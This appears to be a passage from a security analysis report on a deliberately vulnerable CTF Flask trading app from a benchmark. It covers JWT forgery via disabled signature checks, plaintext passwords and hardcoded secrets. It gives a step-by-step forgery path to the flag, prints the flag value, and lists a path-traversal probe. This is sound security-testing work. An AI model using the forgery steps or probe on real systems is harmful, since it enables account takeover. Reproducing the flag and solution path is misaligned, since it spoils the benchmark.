# XBEN-027-24 Trading Platform - Code Analysis Report

## Penetration Test Scope & Boundaries

**Primary Directive:** This analysis is strictly limited to the **network-accessible attack surface** of the application. All findings reported meet the "In-Scope" criteria defined below.

### In-Scope: Network-Reachable Components
A component is considered **in-scope** if its execution can be initiated, directly or indirectly, by a network request that the deployed application server is capable of receiving. This includes:
- Publicly exposed web pages and API endpoints
- Endpoints requiring authentication via the application's standard login mechanisms
- Any developer utility, debug console, or script that has been mistakenly exposed through a route or is otherwise callable from other in-scope, network-reachable code

### Out-of-Scope: Locally Executable Only
A component is **out-of-scope** if it **cannot** be invoked through the running application's network interface and requires an execution context completely external to the application's request-response cycle. This includes:
- Command-line interface tools (e.g., `python scripts/...`)
- Development environment's internal tooling
- CI/CD pipeline scripts or build tools (Makefiles, docker-compose build commands)
- Database migration scripts, backup tools, or maintenance utilities
- Local development servers, test harnesses, or debugging utilities
- Static configuration files that require manual file system access

---

## 1. Executive Summary

The XBEN-027-24 Trading Platform is a Flask-based web application with **critical security vulnerabilities** that represent an immediate threat to data confidentiality, integrity, and availability. This CTF-style application demonstrates a monolithic 3-tier architecture (Apache → Flask → MySQL) with fundamental security flaws that would allow complete system compromise by an unauthenticated external attacker.

**Most Critical Findings:**
- **JWT Signature Verification Disabled:** The application explicitly disables JWT signature verification (`verify_signature:False`), allowing any attacker to forge authentication tokens and access arbitrary user accounts without knowing any credentials. This is the most direct path to compromise.
- **Plaintext Password Storage:** All passwords are stored in plaintext in the database with no hashing whatsoever, violating industry standards and exposing credentials to anyone with database access.
- **Hardcoded Weak Secrets:** The Flask session secret (`'your_secret_key'`) and JWT signing key are hardcoded placeholder values that enable session tampering and token forgery attacks.
- **No Transport Encryption:** The entire application runs over HTTP with no HTTPS/TLS configuration, exposing all data including credentials and session tokens to network eavesdropping.
- **Database Root Access:** The application connects to MySQL using the root user with full privileges, violating the principle of least privilege and amplifying the impact of any SQL-related vulnerability.

**Attack Surface Summary:**
The application exposes 5 network-accessible endpoints (login, password validation, dashboard, logout, static files) with a hybrid JWT + session-based authentication system. The primary attack vector is JWT token forgery to access the flag stored in the database. An attacker can login with test credentials (test:test), obtain a JWT token, modify the `user_id` field to 10019 (the flag user), and access the dashboard to retrieve the CTF flag from the user's last_name field.

**Security Posture:** This application is in a **critically insecure state** unsuitable for any production deployment. The combination of disabled authentication controls, missing encryption, and weak secret management creates multiple paths to complete system compromise. The application requires comprehensive security remediation before any real-world use.

---

## 2. Architecture & Technology Stack

### Framework & Language

The application is built on **Flask 3.0.3** (Python 3.x) with a classic Model-View-Controller architecture. Flask 3.0.3 is the latest stable release (2024) and includes important security patches, making this a positive choice. However, the implementation undermines all framework security features through misconfiguration and disabled protections.

The backend uses **Flask-SQLAlchemy 3.1.1** as the ORM layer with **PyMySQL 1.1.0** as the MySQL driver. PyMySQL is a pure-Python implementation that, while functional, is slower than C-based alternatives like mysqlclient. The ORM provides parameterized queries by default, offering some protection against SQL injection, but this advantage is negated by the plaintext password storage and root database access.

Authentication is handled by **PyJWT 2.8.0** for JSON Web Tokens, combined with Flask's built-in session management. This hybrid approach uses server-side sessions (stored in signed cookies) and client-side JWT tokens (stored in the `auth_token` cookie). The critical vulnerability lies in the JWT validation logic at `routes.py:81`, where signature verification is explicitly disabled with `options={'verify_signature':False}`, completely undermining the security model.

**Security Implications:**
The technology choices are generally sound, but the implementation is catastrophically insecure. Disabling JWT signature verification means the signing algorithm and secret key are irrelevant—any attacker can forge tokens. The hardcoded Flask secret key (`'your_secret_key'`) allows session cookie forgery. Combined with plaintext password storage, an attacker has multiple authentication bypass vectors without requiring sophisticated exploitation techniques.

### Architectural Pattern

This is a **monolithic web application** following a traditional 3-tier architecture:
1. **Presentation Layer:** Apache 2 web server with mod_wsgi on Debian Bullseye Slim
2. **Application Layer:** Flask application with Jinja2 templating
3. **Data Layer:** MySQL 5.7.15 database (not exposed externally)

The architecture follows a classic MVC pattern with clear separation:
- **Models:** `/app/website/app/models.py` defines the User SQLAlchemy model
- **Views:** Jinja2 templates in `/app/website/app/templates/` (login.html, password.html, dashboard.html)
- **Controllers:** Route handlers in `/app/website/app/routes.py` manage request/response logic

**Trust Boundaries:**
The primary trust boundary exists between the external network (untrusted) and the Apache web server (semi-trusted DMZ). Apache proxies requests via WSGI to the Flask application, which fully trusts database responses without additional validation. The database layer is isolated within the Docker network and not exposed to external access.

**Critical Trust Assumption:** The application assumes that if a valid session exists OR a JWT token is present, the user is authenticated. However, the JWT validation at `routes.py:80-81` does not verify the token's signature, creating a trust boundary violation where client-controlled data (the JWT payload) is trusted without cryptographic verification. This allows an attacker to bypass the trust boundary entirely by forging JWT tokens with arbitrary `user_id` values.

**Security Implications:**
The monolithic architecture simplifies the attack surface by providing a single entry point (port 80), but the weak trust boundary enforcement means an attacker can escalate from anonymous to any authenticated user by manipulating a single cookie value. The lack of network segmentation between application and database means that any application compromise provides immediate database access with root privileges.

### Critical Security Components

**Docker Containerization:**
The application uses Docker Compose (`docker-compose.yml`) to orchestrate two services: `db` (MySQL 5.7.15) and `trading_platform` (Flask app). The database container uses a health check (`mysqladmin ping`) before the application container starts, ensuring proper initialization order. However, several security issues exist:
- Database password hardcoded in health check command (line 7): `--password=trading_platform_db_pass`
- Flag value passed as build argument (visible in image history): `ARG FLAG`
- Port 80 exposed with dynamic host mapping

**Apache Configuration (`trading_platform-httpd.conf`):**
The Apache configuration contains several security issues:
- **Line 11:** `Access-Control-Allow-Origin: *` enables wide-open CORS, allowing any domain to make authenticated requests
- **Line 15:** `Options Indexes FollowSymLinks` enables directory listing, potentially exposing file structure
- No HTTPS/TLS configuration, only HTTP on port 80
- Error and access logs use default Apache locations

**Flask Application Configuration (`__init__.py`):**
This file contains the most critical security misconfigurations:
- **Line 11:** `app.secret_key = 'your_secret_key'` (default/weak secret enabling session forgery)
- **Line 13:** `app.config['AUTH_SECRET_KEY'] = 'this_is_the_secret_key_for_the_json_token'` (hardcoded JWT secret)
- **Line 16:** Database connection string with root credentials: `mysql+pymysql://root:trading_platform_db_pass@db/database`
- **Lines 39-55:** Flag seeding logic reads from `/flag` file and stores in database

**Security Headers Middleware (`routes.py:10-16`):**
The application includes an `@app.after_request` handler that sets cache-control headers to prevent caching of sensitive data. However, critical security headers are missing:
- No Content-Security-Policy (CSP)
- No X-Frame-Options (clickjacking protection)
- No X-Content-Type-Options (MIME-sniffing protection)
- No Strict-Transport-Security (HSTS, though HTTPS isn't configured)

**Database Security:**
MySQL 5.7.15 is severely outdated (released 2016, EOL October 2023) with known critical vulnerabilities including CVE-2016-6663 and CVE-2016-6664. The database configuration uses root credentials stored in multiple locations (Dockerfile, docker-compose.yml, connection string), violating the principle of least privilege.

**Security Implications:**
The combination of weak secrets, missing security headers, outdated database, and root-level access creates multiple attack vectors. An attacker who achieves any level of compromise (through JWT forgery, session hijacking, or XSS) gains immediate access to all data and administrative functions with no defense in depth.

---

## 3. Authentication & Authorization Deep Dive

### Authentication Mechanisms

The application implements a **hybrid JWT + session-based authentication system** with a two-step login flow designed to reveal user information progressively. This design pattern creates username enumeration vulnerabilities and exposes internal user IDs to clients.

**Step 1: Username Validation (`/` route, `routes.py:21-34`)**
The login flow begins with a username-only form. When submitted via POST:
1. Application queries database: `User.query.filter_by(username=username).first()` (line 27)
2. If user exists: redirects to `/password/<username>` (line 30)
3. If user doesn't exist: redirects back to `/` with error message (line 33)

**Security Issue:** This creates a username enumeration vulnerability. An attacker can determine valid usernames by observing whether the application redirects to the password page (user exists) or returns an error (user doesn't exist). The different responses provide an oracle for user discovery.

**Step 2: Password Validation (`/password/<username>` route, `routes.py:46-69`)**
After username validation, the user is directed to a password entry page:
1. GET request renders password form with username pre-filled and user's first name displayed (line 69)
2. POST request validates credentials: `User.query.filter_by(username=username, password=password).first()` (line 55)
3. If valid: creates JWT token, sets session, and redirects to dashboard
4. If invalid: redirects back to login with error message

**CRITICAL VULNERABILITY (Plaintext Password Comparison):**
The password validation at line 55 performs a direct plaintext string comparison in the database query. The `models.py` User model defines password as `db.Column(db.String(100), nullable=False)` with no hashing. This violates OWASP and NIST password storage guidelines, which require salted cryptographic hash functions (bcrypt, scrypt, Argon2) with work factors calibrated to current hardware.

**Security Implications:** Any compromise of the database (via backup exposure, SQL injection in future code, or insider access) immediately exposes all user credentials. An attacker with database access can read passwords in cleartext and use them for credential stuffing attacks on other services where users reused passwords.

### Complete Authentication Endpoint Catalog

**1. POST `/` - Username Validation**
- **File:** `routes.py:21-34`
- **Purpose:** Validate username existence
- **Input:** `request.form['username']`
- **Authentication Required:** No
- **Response:** Redirect to password page or error

**2. POST `/password/<username>` - Password Validation & Token Creation**
- **File:** `routes.py:46-69`
- **Purpose:** Validate password, create JWT, establish session
- **Input:** `request.form['password']`, `request.form['username']`, `request.form['user_id']`
- **Authentication Required:** No
- **Token Creation (lines 57-58):**
```python
token = jwt.encode({"username":username, "user_id": user.id, "user_type":"customer"},
    app.config['AUTH_SECRET_KEY'], algorithm='HS256')
```
- **Session Creation (line 60):** `session['user_id'] = user.id`
- **Cookie Creation (line 63):** `resp.set_cookie('auth_token', token)`
- **Response:** Redirect to `/dashboard`

**3. POST `/logout` - Session Termination**
- **File:** `routes.py:38-42`
- **Purpose:** Clear session and redirect to login
- **Authentication Required:** No (but intended for authenticated users)
- **Session Destruction (line 41):** `session.pop('user_id', None)`
- **INCOMPLETE LOGOUT:** Does not clear the `auth_token` cookie, leaving JWT token active on client

**4. GET `/dashboard` - Protected Resource Access**
- **File:** `routes.py:73-92`
- **Purpose:** Display user dashboard with full name
- **Authentication Required:** Yes (session + JWT)
- **Validation Logic (lines 76-86):**
```python
user_id = session.get('user_id')
if not user_id:
    return redirect(url_for('login'))

token = request.cookies.get('auth_token')
data = jwt.decode(token, app.config['AUTH_SECRET_KEY'], algorithms=['HS256'],
    options={'verify_signature':False})  # CRITICAL VULNERABILITY

if 'user_id' not in data:
    return Response(f'Authentication Token has an invalid UserID.', status=400)

user = User.query.get(data['user_id'])  # Uses JWT user_id, not session user_id
```

**CRITICAL VULNERABILITY:** The dashboard endpoint checks for a session but then validates the JWT token WITHOUT signature verification (`verify_signature:False` at line 81). This means an attacker can forge a JWT with any `user_id` value, and the application will trust it. The endpoint then uses the JWT's `user_id` (line 88) instead of the session's `user_id` to fetch user data.

**NO OTHER AUTHENTICATION ENDPOINTS:**
- No token refresh endpoint
- No password reset functionality
- No email verification
- No account registration endpoint (users created only during initialization)
- No multi-factor authentication (MFA/2FA)
- No OAuth/SSO integration

### Session Management

**Session Cookie Configuration:**
Flask sessions are stored in client-side signed cookies using the secret key defined at `__init__.py:11`. The hardcoded value `'your_secret_key'` is weak and predictable, allowing an attacker to forge session cookies if they know this key (which they do, since it's in the source code).

**CRITICAL FINDING - Missing Cookie Security Flags:**
The session cookie and JWT authentication cookie lack essential security flags:

**Session Cookie:** Flask's default session cookie has no explicit security configuration in the codebase. The following flags are NOT set:
- `SESSION_COOKIE_SECURE`: False (cookie sent over HTTP)
- `SESSION_COOKIE_HTTPONLY`: True by default in Flask, but not explicitly configured
- `SESSION_COOKIE_SAMESITE`: Not set (no CSRF protection)

**JWT Auth Token Cookie (`routes.py:63`):**
```python
resp.set_cookie('auth_token', token)
```

This cookie is created WITHOUT security flags:
- **HttpOnly:** Not set (cookie accessible via JavaScript, vulnerable to XSS attacks)
- **Secure:** Not set (cookie transmitted over HTTP, vulnerable to network interception)
- **SameSite:** Not set (vulnerable to CSRF attacks)

**Session Storage & Expiration:**
- **Storage Mechanism:** Client-side signed cookies (Flask default with no server-side session configured)
- **Session Timeout:** None configured (sessions persist indefinitely)
- **Token Expiration:** JWT tokens have no `exp` claim, remaining valid forever
- **Session Regeneration:** No session ID regeneration after login (vulnerable to session fixation)

**Session Destruction:**
The logout endpoint at `routes.py:41` only clears the session's `user_id`:
```python
session.pop('user_id', None)
```

**INCOMPLETE LOGOUT:** The logout function does not clear the `auth_token` cookie, meaning the JWT token remains in the browser and could potentially be reused if an attacker has access to the cookie. A complete logout should include:
```python
response.set_cookie('auth_token', '', expires=0)
```

**Security Implications:**
The combination of weak session secrets, missing cookie flags, no expiration, and incomplete logout creates multiple session hijacking vectors. An attacker who intercepts a session cookie or JWT token (trivial over HTTP) can maintain persistent access even after the legitimate user logs out.

### Authorization Model

**CRITICAL FINDING: No Authorization System Exists**

The application has **no authorization or access control mechanism**. There is no role-based access control (RBAC), attribute-based access control (ABAC), or access control list (ACL) implementation. The only "authorization" check is whether a user is authenticated (has a session or JWT token).

**Hardcoded Role Value:**
The JWT token payload includes a `"user_type":"customer"` field (line 57), but this value is hardcoded and never validated or used for access control anywhere in the application. All authenticated users have identical access privileges.

**No Permission Checking:**
- No decorators or middleware enforcing permissions
- No role-based route protection
- No resource-level access control
- No checks preventing users from accessing other users' data

**Authorization Bypass via JWT Manipulation:**
The most critical vulnerability is that the dashboard endpoint uses the `user_id` from the JWT token (which isn't signature-verified) to fetch user data:
```python
data = jwt.decode(token, app.config['AUTH_SECRET_KEY'], algorithms=['HS256'],
    options={'verify_signature':False})
user = User.query.get(data['user_id'])  # Uses unverified JWT user_id
```

**EXPLOITATION PATH:**
1. Login with test:test credentials (user_id: 10032)
2. Receive JWT token with `{"username":"test", "user_id":10032, "user_type":"customer"}`
3. Modify JWT token to `{"username":"test", "user_id":10019, "user_type":"customer"}` (flag user)
4. Access `/dashboard` with modified JWT
5. Application decodes JWT without verification, trusts user_id:10019
6. Dashboard displays flag user's data including the CTF flag in `last_name` field

**Security Implications:**
This represents a complete horizontal privilege escalation vulnerability. Any authenticated user (or even an unauthenticated attacker who crafts a JWT) can access any other user's data by manipulating the `user_id` field. There is no defense against this attack in the current implementation.

### SSO/OAuth/OIDC Flows

**NOT APPLICABLE** - The application does not implement any Single Sign-On (SSO), OAuth, or OpenID Connect (OIDC) authentication flows. All authentication is handled internally with username/password credentials.

- No OAuth providers configured
- No SSO callback endpoints
- No `state` parameter validation (N/A - no OAuth)
- No `nonce` parameter validation (N/A - no OIDC)
- No external identity provider integration

The PyJWT library is used exclusively for local token generation and validation, not for OAuth/OIDC token exchange or validation.

### Multi-Factor Authentication

**NOT IMPLEMENTED** - The application has no multi-factor authentication (MFA) or two-factor authentication (2FA) capability. Authentication relies solely on username/password credentials with no additional verification factors.

---

## 4. Data Security & Storage

### Database Security Architecture

The application uses **MySQL 5.7.15** (released September 2016) as its persistent data store, which is **severely outdated** and reached end-of-life in October 2023. This version contains multiple known critical vulnerabilities including CVE-2016-6663 (privilege escalation) and CVE-2016-6664 (root privilege escalation via race condition), making it unsuitable for any production deployment.

**Database Connection Security:**
The application connects to MySQL using a hardcoded connection string at `__init__.py:16`:
```python
app.config['SQLALCHEMY_DATABASE_URI'] = 'mysql+pymysql://root:trading_platform_db_pass@db/database'
```

**CRITICAL VULNERABILITIES:**
1. **Root User Access:** The application uses the MySQL `root` user for all operations, violating the principle of least privilege. Any application compromise grants full database control including the ability to drop databases, create administrative users, and access all data.

2. **Unencrypted Connection:** The connection string lacks SSL/TLS parameters. All database traffic between the Flask application and MySQL server is transmitted in cleartext, exposing credentials and data to anyone with network access within the Docker network.

3. **Hardcoded Credentials:** The password `trading_platform_db_pass` is hardcoded in multiple locations:
   - `__init__.py:16` (connection string)
   - `docker-compose.yml:7` (health check command)
   - `mysql/Dockerfile:3` (environment variable)
   - Visible in container process list via health check

**Data Model:**
The User table (`models.py:5-11`) contains the following fields:
- `id` (Integer, Primary Key) - Sequential user identifier
- `username` (String(100), Unique, NOT NULL) - Login username
- `password` (String(100), NOT NULL) - **PLAINTEXT PASSWORD**
- `first_name` (String(100), NOT NULL) - User's first name (PII)
- `last_name` (String(100), NOT NULL) - User's last name (PII) **[FLAG STORED HERE]**
- `email` (String(100), NOT NULL) - Email address (PII)

**Security Implications:**
The database layer represents the most critical single point of failure. The combination of an outdated database version, root-level access, unencrypted connections, and plaintext password storage means that any successful attack vector (JWT forgery, SQL injection in future code, insider threat, backup exposure) results in complete data compromise with no recovery mechanism.

### Password Storage Analysis

**CRITICAL FINDING: No Password Hashing**

The application stores all passwords in **plaintext** with absolutely no cryptographic protection. This is a catastrophic security failure that violates every industry standard and best practice:

**Evidence:**
1. **Model Definition (`models.py:8`):**
```python
password = db.Column(db.String(100), nullable=False)
```
The password column is a plain VARCHAR field with no hashing.

2. **User Creation (`__init__.py:28-36, 46-55`):**
```python
test_user = User(
    id=10032, username='test', password='test',  # Plaintext
    first_name='Test', last_name='User', email='test@example.com'
)
```
Users are created with plaintext passwords stored directly in the database.

3. **Password Validation (`routes.py:55`):**
```python
user = User.query.filter_by(username=username, password=password).first()
```
Authentication performs a direct plaintext string comparison in the database query.

**No Password Security Libraries:**
The codebase contains no imports of password hashing libraries:
- No `bcrypt`
- No `scrypt`
- No `argon2`
- No `werkzeug.security` (Flask's password hashing utilities)
- No `hashlib` or `hmac` for custom hashing
- No salt generation

**Industry Standard Violation:**
This implementation violates:
- **OWASP Password Storage Cheat Sheet:** Requires modern password hashing (Argon2id, scrypt, bcrypt)
- **NIST SP 800-63B:** Requires salted password hashing with memory-hard functions
- **PCI-DSS Requirement 8.2.1:** Passwords must be rendered unreadable during storage
- **GDPR Article 32:** Requires pseudonymization and encryption of personal data

**Attack Scenarios:**
1. **Database Backup Exposure:** Any backup file contains all passwords in cleartext
2. **SQL Injection:** Future SQL injection vulnerabilities expose all passwords immediately
3. **Insider Threat:** Any database administrator can read all passwords
4. **Credential Stuffing:** Exposed passwords can be used on other services where users reused them
5. **Forensic Analysis:** Deleted database records remain recoverable in plaintext

**Security Implications:**
Plaintext password storage is considered a **critical vulnerability** (CVSS 9.8) because it represents a single point of complete authentication system failure. Modern password hashing with bcrypt (cost factor 12+), scrypt, or Argon2id adds computational work that makes brute-force attacks infeasible. Without hashing, a database dump immediately exposes all user credentials.

### Data Flow Security

**Sensitive Data Paths:**

**1. Password Submission Flow:**
```
User Browser (login.html)
  → HTTP POST /password/<username> (UNENCRYPTED)
    → request.form['password'] (routes.py:54)
      → SQL Query: filter_by(username=username, password=password) (routes.py:55)
        → Database Storage (PLAINTEXT)
```

**Vulnerabilities in Flow:**
- Password transmitted over HTTP (no TLS) - vulnerable to network eavesdropping
- No input sanitization or length validation
- Password stored in plaintext in database
- Password visible in SQL query logs if enabled

**2. JWT Token Generation & Transmission:**
```
Successful Login
  → jwt.encode() with weak key (routes.py:57)
    → resp.set_cookie('auth_token', token) (routes.py:63)
      → Cookie sent over HTTP (NO SECURE FLAG)
        → Browser storage (accessible to JavaScript - NO HTTPONLY FLAG)
```

**Vulnerabilities in Flow:**
- JWT signed with weak, hardcoded key
- Cookie transmitted over HTTP (network interception possible)
- No HttpOnly flag (XSS can steal token)
- No SameSite flag (CSRF attacks possible)
- No expiration (token valid indefinitely)

**3. Flag Data Flow:**
```
Docker Build (ARG FLAG from .env)
  → Dockerfile: echo $FLAG > /flag
    → Container Filesystem: /flag (plaintext file)
      → App Startup: open('/flag').read() (__init__.py:39)
        → flag_content variable (in memory)
          → User.last_name = flag_content (__init__.py:51)
            → Database Storage (PLAINTEXT)
              → Dashboard: {{ user.last_name }} (dashboard.html:43)
                → HTTP Response (UNENCRYPTED)
```

**Vulnerabilities in Flow:**
- Flag visible in Docker image layers (`docker history` reveals build args)
- Flag stored in container filesystem (readable with container access)
- Flag stored in database without encryption
- Flag transmitted over HTTP to dashboard
- Flag accessible via JWT forgery (user_id manipulation)

**Security Implications:**
Every step in these data flows lacks encryption or integrity protection. An attacker with network access (passive MITM on HTTP port 80), container access (via any RCE vulnerability), or database access (via SQLi or credential compromise) can extract sensitive data including passwords and the CTF flag.

### Multi-Tenant Data Isolation

**NOT APPLICABLE** - This is a single-tenant application with no multi-tenancy features. All users share the same database and application instance with no tenant separation. There are no tenant IDs, tenant-aware queries, or row-level security mechanisms.

---

## 5. Attack Surface Analysis

### External Entry Points - Network Accessible Routes

The application exposes **5 network-accessible HTTP endpoints** on port 80. All routes are accessible from any IP address with no IP allowlisting, geographic restrictions, or network-level access controls.

**1. GET/POST `/` - Login Page & Username Validation**
- **File:** `routes.py:21-34`
- **Authentication Required:** No (public)
- **Methods:** GET (renders form), POST (validates username)
- **Input Vectors:** `request.form['username']`, `request.args.get('error')`
- **Functionality:**
  - GET: Renders login.html with Bootstrap form
  - POST: Queries database for username, redirects to password page if valid
- **Security Concerns:**
  - **Username Enumeration:** Different responses reveal whether a username exists
  - **XSS Vector:** Error parameter reflected in template (mitigated by Jinja2 auto-escaping)
  - **No Rate Limiting:** Vulnerable to brute-force username enumeration
  - **Exposed Test Account:** HTML comment in login.html reveals `test:test` credentials
- **Attack Vectors:**
  - Enumerate valid usernames by observing redirect behavior
  - Brute force username list for reconnaissance
  - Social engineering with known usernames

**2. GET/POST `/password/<username>` - Password Entry & Authentication**
- **File:** `routes.py:46-69`
- **Authentication Required:** No (public, but requires valid username)
- **Methods:** GET (renders form), POST (validates credentials)
- **Input Vectors:** 
  - URL path: `<username>`
  - Form data: `request.form['password']`, `request.form['username']`, `request.form['user_id']`
- **Functionality:**
  - GET: Renders password.html with username pre-filled, displays user's first name
  - POST: Validates credentials, creates JWT token, establishes session, redirects to dashboard
- **Security Concerns:**
  - **Plaintext Password Validation:** No hashing in credential check
  - **Hidden User ID Field:** User ID exposed in hidden form field (line 29 of password.html)
  - **Client-Side User ID:** User ID sent from client and trusted (though not used directly)
  - **JWT Forgeability:** Token created with weak secret and later validated without signature check
  - **Incomplete Cookie Security:** auth_token cookie lacks Secure, HttpOnly, SameSite flags
  - **XSS in Attribute Context:** Username rendered in value attribute (mitigated by Jinja2 escaping)
- **Attack Vectors:**
  - Brute force password attempts (no rate limiting)
  - Manipulate hidden user_id field (though not directly exploitable due to database lookup)
  - Credential stuffing with leaked password lists
  - Password spraying common passwords across enumerated usernames

**3. GET `/dashboard` - Authenticated User Dashboard**
- **File:** `routes.py:73-92`
- **Authentication Required:** Yes (session + JWT token)
- **Methods:** GET only
- **Input Vectors:** `session.get('user_id')`, `request.cookies.get('auth_token')`
- **Functionality:**
  - Checks for session user_id, redirects to login if absent
  - Validates JWT token (WITHOUT signature verification)
  - Fetches user data using JWT's user_id
  - Renders dashboard.html with welcome message: "Welcome, {first_name} {last_name}"
- **Security Concerns:**
  - **CRITICAL: JWT Signature Verification Disabled:** `verify_signature:False` at line 81
  - **Horizontal Privilege Escalation:** User ID from JWT (unverified) used to fetch data
  - **Session vs JWT Inconsistency:** Checks session but uses JWT user_id for data access
  - **Stored XSS Potential:** Renders first_name and last_name from database (mitigated by Jinja2)
  - **Flag Exposure:** Flag stored in last_name field of user ID 10019
- **Attack Vectors:**
  - **PRIMARY ATTACK PATH:** Forge JWT with `user_id:10019` to access flag user's dashboard
  - Modify JWT user_id to access any user's data (complete authentication bypass)
  - Session fixation if session cookie can be predicted
  - XSS if user-controlled data in first_name/last_name (requires registration feature)

**4. POST `/logout` - Session Termination**
- **File:** `routes.py:38-42`
- **Authentication Required:** No (but intended for authenticated users)
- **Methods:** POST only
- **Input Vectors:** `session.get('user_id')`
- **Functionality:**
  - Clears session user_id
  - Redirects to login page
- **Security Concerns:**
  - **Incomplete Logout:** JWT auth_token cookie not cleared
  - **No CSRF Protection:** Logout endpoint vulnerable to CSRF (though low impact)
  - **No Token Revocation:** JWT remains valid after logout
- **Attack Vectors:**
  - CSRF to force logout (denial of service)
  - Session remains partially active (JWT token still valid)

**5. GET `/static/<path:filename>` - Static File Serving**
- **File:** Implicit Flask route (static folder serving)
- **Authentication Required:** No (public)
- **Methods:** GET only
- **Input Vectors:** URL path parameter `<path:filename>`
- **Functionality:**
  - Serves files from `/var/www/trading_platform/app/static/` directory
  - Current files: `css/bootstrap.min.css`
- **Security Concerns:**
  - **Directory Listing Enabled:** Apache config has `Options Indexes` (line 15 of httpd.conf)
  - **Path Traversal Potential:** Flask's static file handler should protect, but worth testing
  - **Information Disclosure:** Directory listing reveals file structure
- **Attack Vectors:**
  - Browse directory structure via directory listing
  - Attempt path traversal: `/static/../../flag` (likely blocked by Flask)
  - Identify framework versions from static file headers
  - Check for accidentally deployed sensitive files (.env, .git, etc.)

### Internal Service Communication

**Database Communication (Flask ↔ MySQL):**
The Flask application communicates with MySQL over the internal Docker network using the hostname `db` (Docker service name from docker-compose.yml). This communication is **unencrypted** and uses **root credentials**.

**Trust Relationships:**
- Flask application fully trusts all data from MySQL database
- No additional validation of database responses
- User data retrieved from database rendered directly in templates
- Assumes database integrity and authenticity

**Security Assumptions:**
- Docker network isolation prevents external access to port 3306
- Database server is running trusted MySQL code
- No SQL injection in application code means database responses are safe

**Vulnerabilities:**
- If Docker network is compromised, database traffic is readable (plaintext protocol)
- Root-level database access means application compromise = full database control
- No database authentication beyond initial connection credentials

### Input Validation Patterns

**CRITICAL FINDING: Minimal Input Validation**

The application performs almost no input validation, sanitization, or normalization. User input is passed directly from Flask request objects to database queries with only minimal implicit validation from SQLAlchemy.

**Username Input (`routes.py:24, 48, 54`):**
- No length validation (database enforces 100-char limit)
- No character whitelist or blacklist
- No normalization (case-sensitive)
- No check for special characters or injection attempts
- Implicit SQL injection protection from SQLAlchemy parameterization

**Password Input (`routes.py:54`):**
- No length validation
- No complexity requirements
- No character restrictions
- Plaintext comparison in database query

**Error Parameter (`routes.py:23, 33`):**
- No sanitization before rendering in template
- Relies entirely on Jinja2 auto-escaping for XSS protection

**JWT Token Cookie (`routes.py:78`):**
- No format validation beyond JWT structure
- No signature verification (intentionally disabled)
- No expiration validation
- No issuer/audience claims verification

**Security Implications:**
The lack of input validation creates multiple risks. While SQLAlchemy's ORM provides parameterized queries (preventing SQL injection), the absence of validation allows unexpected data to reach the database and templates. If Jinja2 auto-escaping were disabled or if a developer used the `|safe` filter, immediate XSS vulnerabilities would appear. The application trusts all user input to be well-formed and benign.

### Background Processing

**NOT APPLICABLE** - The application has no background job processing, async task queues, message brokers, or scheduled tasks. All processing is synchronous within the request/response cycle.

- No Celery, RQ, or similar task queue
- No cron jobs or scheduled tasks (beyond Docker health checks)
- No websocket or long-polling connections
- No event-driven architecture

All security concerns are focused on the synchronous HTTP request handling.

---

## 6. Infrastructure & Operational Security

### Secrets Management

**CRITICAL FINDING: All Secrets Hardcoded**

The application has **no secrets management system** and stores all sensitive credentials as hardcoded strings in source code and configuration files. This violates security best practices and creates high risk of credential exposure through version control, container image distribution, or source code disclosure.

**Hardcoded Secrets Inventory:**

1. **Flask Session Secret (`__init__.py:11`)**
   - Value: `'your_secret_key'`
   - Usage: Signs Flask session cookies
   - Risk: Placeholder/default value enables session forgery
   - Exposure: Visible in source code, Docker images, git history

2. **JWT Signing Key (`__init__.py:13`)**
   - Value: `'this_is_the_secret_key_for_the_json_token'`
   - Usage: Signs JWT authentication tokens
   - Risk: Predictable key enables token forgery (though signature verification is disabled anyway)
   - Exposure: Visible in source code, Docker images, git history

3. **MySQL Root Password**
   - Value: `'trading_platform_db_pass'`
   - Locations:
     - `__init__.py:16` (connection string)
     - `docker-compose.yml:7` (health check command)
     - `mysql/Dockerfile:3` (ENV variable)
   - Risk: Database compromise exposes all data
   - Exposure: Visible in source, images, docker inspect, process list

4. **CTF Flag**
   - Value: `flag{795a8930-4d69-4e12-9bf0-d6dad2f990d6}`
   - Locations:
     - `.env:1` (environment variable)
     - `/flag` file in container
     - Database User.last_name field (user_id 10019)
   - Risk: Objective of CTF challenge
   - Exposure: Build args visible in `docker history`, file readable with container access

**No Secret Rotation:**
- No mechanism to update secrets without code changes
- No secret version management
- No automated secret rotation
- No separation of secrets by environment

**No External Secret Management:**
- No HashiCorp Vault integration
- No AWS Secrets Manager / Azure Key Vault usage
- No Kubernetes Secrets
- No encrypted secret storage

**Security Implications:**
Hardcoded secrets committed to version control remain in git history forever, even if removed from current code. Anyone with repository access (including former developers) can extract all credentials. Docker images distributed for this CTF contain all secrets in plaintext layers. The weak session and JWT secrets allow attackers to forge authentication tokens even if the disabled JWT verification were fixed.

### Configuration Security

**Environment Separation:** NONE

The application has no environment-specific configuration (development, staging, production). All settings are hardcoded in Python code with no conditional logic or environment variable substitution.

**Configuration Files:**

1. **Apache Configuration (`trading_platform-httpd.conf`)**
   - Single configuration for all environments
   - No environment-specific security settings
   - CORS wildcard hardcoded
   - Directory listing enabled

2. **Flask Configuration (`__init__.py`)**
   - No `config.py` or environment-based configuration
   - Debug mode not explicitly set (may default to on in development)
   - No Flask environment variable (FLASK_ENV)
   - All settings hardcoded in application initialization

3. **Docker Compose (`docker-compose.yml`)**
   - Single compose file for all deployments
   - Secrets passed as plaintext environment variables
   - No Docker secrets usage
   - Health check exposes password in command

**Security Headers Configuration:**

**Application-Level Headers (`routes.py:10-16`):**
Only cache-control headers are configured:
- `Cache-Control: no-cache, no-store, must-revalidate`
- `Pragma: no-cache`
- `Expires: 0`

**CRITICAL FINDING: Infrastructure Security Headers Missing**

No security headers are configured in Apache or application code:

**Missing Headers:**
1. **Strict-Transport-Security (HSTS):** Not configured (N/A - HTTPS not enabled)
   - Should enforce HTTPS for all requests once HTTPS is configured
   - Protects against SSL-stripping attacks

2. **X-Frame-Options:** Not configured
   - Allows framing by any domain
   - Vulnerable to clickjacking attacks
   - Should be set to `DENY` or `SAMEORIGIN`

3. **X-Content-Type-Options:** Not configured
   - Browsers may perform MIME-sniffing
   - Should be set to `nosniff`

4. **Content-Security-Policy (CSP):** Not configured
   - No restriction on resource loading
   - Vulnerable to XSS, data exfiltration, clickjacking
   - Should define strict CSP with nonce or hash-based script loading

5. **Referrer-Policy:** Not configured
   - Full referrer URL sent to external sites
   - May leak sensitive URL parameters

6. **Permissions-Policy:** Not configured
   - No restriction on browser features (camera, microphone, geolocation)

**CORS Policy Issues:**
